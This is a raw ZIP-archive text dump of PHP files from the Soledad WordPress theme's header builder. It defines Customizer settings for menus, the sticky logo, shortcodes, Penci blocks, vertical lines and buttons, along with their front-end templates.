	'id'        => $third_menu_settings . 'penci_submenu_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Background Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_submenu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Items Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_submenu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Sub Menu Items Hover Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_submenu_activecl',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Items Active Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_submenu_bordercolor',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Borders Color','soledad' ),
);
$options[]           = array(
	'type'      => 'soledad-fw-color',
	'id'        => $third_menu_settings . 'penci_mega_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Category Mega Menu Background Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_mega_child_cat_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu List Child Categories Background Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_mega_post_category_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Mega Menu Post Category Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_mega_post_title_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Post Title Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_mega_post_date_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Category Mega Menu Post Date Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_mega_accent_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Accent Color','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_mega_border_style2',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Borders Color for Category Mega on Menu Style2','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'drop_border_style2',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Dropdown Borders on Hover for Menu Style2','soledad' ),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_section_slogan_heading_1',
	'sanitize'  => 'sanitize_text_field',
	'transport' => 'postMessage',
	'label'     => esc_html__( 'Menu Font Size', 'soledad' ),

	'type' => 'soledad-fw-header',
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_line_height_lv1',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Height for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => $third_menu_settings . 'penci_line_height_lv1',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_font_size_lv1',
	'default'   => '12',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Font Size for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => $third_menu_settings . 'penci_font_size_lv1',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_font_size_drop',
	'default'   => '12',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Dropdown Menu Items', 'soledad' ),
	'ids'       => array(
		'desktop' => $third_menu_settings . 'penci_font_size_drop',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'penci_lv1_item_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Space Between Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => $third_menu_settings . 'penci_lv1_item_spacing',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => $third_menu_settings . 'penci_lv1_item_margin',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Margin Between Menu Items Level 1', 'soledad' ),
	'description'     => __( 'This option only applies when you enable padding for menu items level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => $third_menu_settings . 'penci_lv1_item_margin',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[]           = array(
	'id'        => $third_menu_settings . 'class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\N#׍3  3  -  builder/elements/pb_logo_sticky/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$logo_settings = 'penci_header_pb_logo_sticky';
$logo_url      = get_theme_mod( 'penci_custom_url_logo' ) ? get_theme_mod( 'penci_custom_url_logo' ) : esc_url( home_url( '/' ) );
$logo_display  = penci_builder_validate_mod( $header_data, $logo_settings . '_logo_display', 'image' );
$logo_title    = penci_builder_validate_mod( $header_data, $logo_settings . '_site_title' );
$logo_slogan   = penci_builder_validate_mod( $header_data, $logo_settings . '_site_description' );
$logo_class    = penci_builder_validate_mod( $header_data, $logo_settings . '_class' );
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' ) ) {
	$logo_url = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' );
}
$logo_src = PENCI_SOLEDAD_URL . '/images/logo.png';
if ( get_theme_mod( 'penci_logo' ) ) {
	$logo_src = get_theme_mod( 'penci_logo' );
}
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' ) ) {
	$logo_src = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' );
}

if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['custom_logo'] ) && $pmeta_page_header['custom_logo'] ) {

		$logo_src_meta = wp_get_attachment_url( intval( $pmeta_page_header['custom_logo'] ) );
		if ( $logo_src_meta ) {
			$logo_src = $logo_src_meta;
		}
	}
}
$extra_logo_class = ' pclogo-cls';
if ( 'image' == $logo_display ):
	$data_dark_logo = '';
	$dark_logo      = get_theme_mod( 'penci_menu_logo_dark' );
	if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
		$data_dark_logo .= 'data-lightlogo="' . esc_url( $logo_src ) . '"';
		$data_dark_logo .= ' data-darklogo="' . esc_url( $dark_logo ) . '"';
	}
	?>
    <div class="pc-builder-element pc-logo-sticky pc-logo penci-header-image-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
            <img class="penci-mainlogo penci-limg<?php echo $extra_logo_class; ?>" <?php echo $data_dark_logo;?>
                 src="<?php echo esc_url( $logo_src ); ?>"
                 alt="<?php bloginfo( 'name' ); ?>"
                 width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>"
                 height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>">
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
else: ?>
    <div class="pc-builder-element pc-logo pc-logo-sticky penci-header-text-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
			<?php if ( ! empty( $logo_title ) ): ?>
                <div class="site-name"><?php echo esc_attr( $logo_title ); ?></div>
			<?php endif; ?>
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
endif;
PK     /w\C׶"  "  ,  builder/elements/pb_logo_sticky/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_logo_display',
	'default'   => 'image',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-radio',
	'label'     => esc_html__( 'Display Logo as', 'soledad' ),
	'priority'  => 10,
	'choices'   => [
		'image' => esc_html__( 'Logo Image', 'soledad' ),
		'text'  => esc_html__( 'Text', 'soledad' ),
	],
	'partial_refresh' => [
		'penci_header_pb_logo_sticky_logo_display' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'          => 'penci_header_pb_logo_sticky_image_setting_url',
	'default'     => '',
	'transport'   => 'postMessage',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-image',
	'label'       => esc_html__( 'Logo Image', 'soledad' ),
	'description' => esc_html__( 'Upload your image logo here', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_sticky_image_setting_url' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_size_logo_w',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Maxium Width for Logo Image', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_sticky_size_logo_w',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_size_logo_h',
	'default'   => '60',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Maxium Height for Logo Image', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_sticky_size_logo_h',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_image_setting_href',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'label'     => __( 'Custom Logo Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_site_title',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Text Logo', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_site_title' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_site_description',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	'label'     => esc_html__( 'Slogan', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_site_title' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_font_size_logo',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Text Logo', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_sticky_font_size_logo',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Text Logo */
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_color_logo',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Text Logo','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_penci_font_for_title',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font for Text Logo','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_penci_font_weight_title',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Text Logo','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_penci_font_style_title',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Text Logo','soledad'),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
/* Slogan*/
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_font_size_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Font Size for Slogan Text', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_sticky_font_size_slogan',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_color_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Slogan Text','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_penci_font_for_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font for Slogan Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_penci_font_weight_slogan',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Slogan Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => 'Normal',
		'bold'    => 'Bold',
		'bolder'  => 'Bolder',
		'lighter' => 'Lighter',
		'100'     => '100',
		'200'     => '200',
		'300'     => '300',
		'400'     => '400',
		'500'     => '500',
		'600'     => '600',
		'700'     => '700',
		'800'     => '800',
		'900'     => '900'
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_penci_font_style_slogan',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Slogan Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => 'Normal',
		'italic' => 'Italic'
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_sticky_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_stickyclass',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\RKQ    +  builder/elements/pb_shortcode/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$shortcode_html  = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_name', false );
$shortcode_class = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_class' );
if ( empty( $shortcode_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-shortcodes <?php echo esc_attr( $shortcode_class ); ?>">
	<?php echo do_shortcode( $shortcode_html ); ?>
</div>
PK     /w\B    *  builder/elements/pb_shortcode/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	
	'label'     => esc_html__( 'Shortcode Code', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;PK     /w\    '  builder/elements/pb_block/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$block = penci_builder_validate_mod( $header_data, 'penci_header_pb_block_select', false );
if ( ! empty( $block ) ) {
	?>
    <div class="penci-header-block penci-header-block-1">
		<?php
		$block_id = '';
		$block_oj = get_page_by_path( $block, OBJECT, 'penci-block' );
		if ( $block_oj ) {
			$block_id = $block_oj->ID;
		}
        if ( $block_id ) {
			if ( did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $block_id )->is_built_with_elementor() ) {
				echo penci_get_elementor_content( $block_id );
			} else {
				$block_content = get_post( $block_id );
				echo do_shortcode( $block_content->post_content );

				$shortcodes_custom_css = get_post_meta( $block_id, '_wpb_shortcodes_custom_css', true );

				echo '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					echo $shortcodes_custom_css;
				}
				echo '</style>';
			}
		} ?>
    </div>
	<?php
}
PK     /w\/Pt    &  builder/elements/pb_block/settings.phpnu [        <?php 

$options = [];

$options[] = array(
	'id'              => 'penci_header_pb_block_select',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-ajax-select',
	'label'           => esc_html__( 'Select the Penci Block', 'soledad' ),
	'choices'         => call_user_func( function () {
		$builder_layout  = [ '' => '- Select -' ];
		$builder_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );

		foreach ( $builder_layouts as $builder_builder ) {
			$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
		}

		return $builder_layout;
	} ),
	'partial_refresh' => [
		'penci_header_pb_block_select' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);

$options[] = array(
	'id'        => 'penci_header_pb_block_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Item Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

return $options;
PK     /w\mu9    1  builder/elements/pb_vertical_line_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line2_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line2_width' );
$line2_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line2_height' );
$line2_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line2_color' );
$line2_class = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line2_class' );
$data_attr   = [];
if ( ! empty( $line2_width ) ) {
	$data_attr[] = 'width:' . $line2_width . 'px;';
}
if ( ! empty( $line2_height ) ) {
	$data_attr[] = 'height:' . $line2_height . 'px;';
}
if ( ! empty( $line2_color ) ) {
	$data_attr[] = 'background-color:' . $line2_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
     class="penci-builder-element penci-vertical-line vertical-line-2 <?php echo esc_attr( $line2_class ); ?>"></div>
PK     /w\)5  5  0  builder/elements/pb_vertical_line_2/settings.phpnu [        <?php 

$general_config = 'penci_builder_mods';
$options        = [];
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line2_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line2_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line2_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line2_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line2_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\D    )  builder/elements/pb_block_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$block = penci_builder_validate_mod( $header_data, 'penci_header_pb_block_2_select' );
if ( ! empty( $block ) ) {
	?>
    <div class="penci-header-block penci-header-block-2">
		<?php
		$block_id = '';
		$block_oj = get_page_by_path( $block, OBJECT, 'penci-block' );
		if ( $block_oj ) {
			$block_id = $block_oj->ID;
		}
		if ( $block_id ) {
			if ( did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $block_id )->is_built_with_elementor()  ) {
				echo penci_get_elementor_content( $block_id );
			} else {
				$block_content = get_post( $block_id );
				echo do_shortcode( $block_content->post_content );

				$shortcodes_custom_css = get_post_meta( $block_id, '_wpb_shortcodes_custom_css', true );

				echo '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					echo $shortcodes_custom_css;
				}
				echo '</style>';
			}
		} ?>
    </div>
	<?php
}
PK     /w\@W  W  (  builder/elements/pb_block_2/settings.phpnu [        <?php 

$pb_block_2_section = 'penci_header_pb_block_2_section';
$options            = [];
$options[]          = array(
	'id'              => 'penci_header_pb_block_2_select',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-ajax-select',
	'label'           => esc_html__( 'Select the Penci Block', 'soledad' ),
	'choices'         => call_user_func( function () {
		$builder_layout  = [ '' => '- Select -' ];
		$builder_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );
		foreach ( $builder_layouts as $builder_builder ) {
			$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
		}

		return $builder_layout;
	} ),
	'partial_refresh' => [
		'penci_header_pb_block_2_select' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[]          = array(
	'id'        => 'penci_header_pb_block_2_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Item Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

return $options;
PK     /w\\OU  U  (  builder/elements/pb_button/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$btn_link        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_link_setting', false );
$btn_link_rel    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_link_rel', 'noreferrer' );
$btn_link_target = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_link_target', '_blank' );
$btn_title       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_text_setting', false );
$btn_style       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_style', 'style-4' );
$btn_shape       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_shape', 'ratangle' );

$classes   = [];
$classes[] = 'penci-builder penci-builder-button button-1';
$classes[] = 'button-define-' . $btn_style;
$classes[] = 'button-shape-' . $btn_shape;
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_txt_css_class', 'default' );
$btn_title = ! empty( $btn_title ) ? $btn_title : 'Button Text';

if ( ( $btn_link && $btn_title ) || is_customize_preview() ):?>
    <a target="<?php echo esc_attr( $btn_link_target ); ?>" rel="<?php echo esc_attr( $btn_link_rel ); ?>"
       href="<?php echo esc_url( $btn_link ); ?>" class="<?php echo implode( ' ', $classes ); ?> ">
		<?php echo $btn_title; ?>
    </a>
<?php 
endif; ?>
PK     /w\jr\  \  '  builder/elements/pb_button/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_button_text_setting',
	'default'         => 'Button Text',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-text',
	'label'           => __( 'Button Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_button_text_setting' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
